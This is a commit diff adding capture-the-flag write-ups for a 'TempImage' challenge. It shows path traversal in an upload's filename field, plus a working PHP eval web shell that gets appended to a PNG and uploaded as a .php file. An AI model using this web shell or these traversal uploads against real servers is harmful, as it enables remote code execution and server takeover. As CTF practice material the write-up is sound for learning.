Skip to content

Commit 942ebbb

Browse files
committed
TempImage
1 parent e43c370 commit 942ebbb

13 files changed

+76
-0
lines changed

Diff for: tempimage/flag0/README.md

+29
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
# TempImage - FLAG0
2+
3+
## 0x00 Index
4+
5+
![](./imgs/index.jpg)
6+
7+
## 0x01 Upload
8+
9+
![](./imgs/upload.jpg)
10+
11+
The image is successfully uploaded to the site.
12+
13+
```
14+
http://127.0.0.1:5001/xxxxxxxxxx/files/d10c88f869301b1238f53cfdff8e9d7c_img.png
15+
```
16+
17+
## 0x02 Modify File Name
18+
19+
Modify file name in Burp
20+
21+
```
22+
Content-Disposition: form-data; name="filename"
23+
24+
../img.png
25+
```
26+
27+
## 0x03 Upload Error and FLAG
28+
29+
![](./imgs/flag.jpg)

Diff for: tempimage/flag0/img.png

8.08 KB
Loading

Diff for: tempimage/flag0/imgs/flag.jpg

36.3 KB
Loading

Diff for: tempimage/flag0/imgs/index.jpg

5.68 KB
Loading

Diff for: tempimage/flag0/imgs/upload.jpg

7.46 KB
Loading

Diff for: tempimage/flag1/README.md

+45
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,45 @@
1+
# TempImage - FLAG1
2+
3+
## 0x00 Index
4+
5+
![](../flag0/imgs/index.jpg)
6+
7+
## 0x01 Generate Image Shell
8+
9+
Run bat file [gen_imgshell.bat](./gen_imgshell.bat).
10+
11+
```batch
12+
copy img.png/b + webshell.php shell.png
13+
```
14+
15+
Get shell.png which has the injected code.
16+
17+
```php
18+
<?php @eval($_POST['hacker1'])?>
19+
```
20+
21+
![](./shell.png)
22+
23+
## 0x02 Upload the Image Shell
24+
25+
Catch the request and change the file name.
26+
27+
```
28+
Content-Disposition: form-data; name="filename"
29+
30+
/../../shell.php
31+
```
32+
33+
Shell upload successfully.
34+
35+
![](./imgs/shell_upload.jpg)
36+
37+
## 0x03 Connect Server
38+
39+
![](./imgs/caidao.jpg)
40+
41+
## 0x04 FLAG
42+
43+
Flag can be found in index.php
44+
45+
![](./imgs/flag.jpg)

Diff for: tempimage/flag1/gen_imgshell.bat

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
copy img.png/b + webshell.php shell.png

Diff for: tempimage/flag1/img.png

8.08 KB
Loading

Diff for: tempimage/flag1/imgs/caidao.jpg

43 KB
Loading

Diff for: tempimage/flag1/imgs/flag.jpg

11.6 KB
Loading

Diff for: tempimage/flag1/imgs/shell_upload.jpg

63.6 KB
Loading

Diff for: tempimage/flag1/shell.png

8.11 KB
Loading

Diff for: tempimage/flag1/webshell.php

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
<?php @eval($_POST['hacker1'])?>

0 commit comments

Comments
 (0)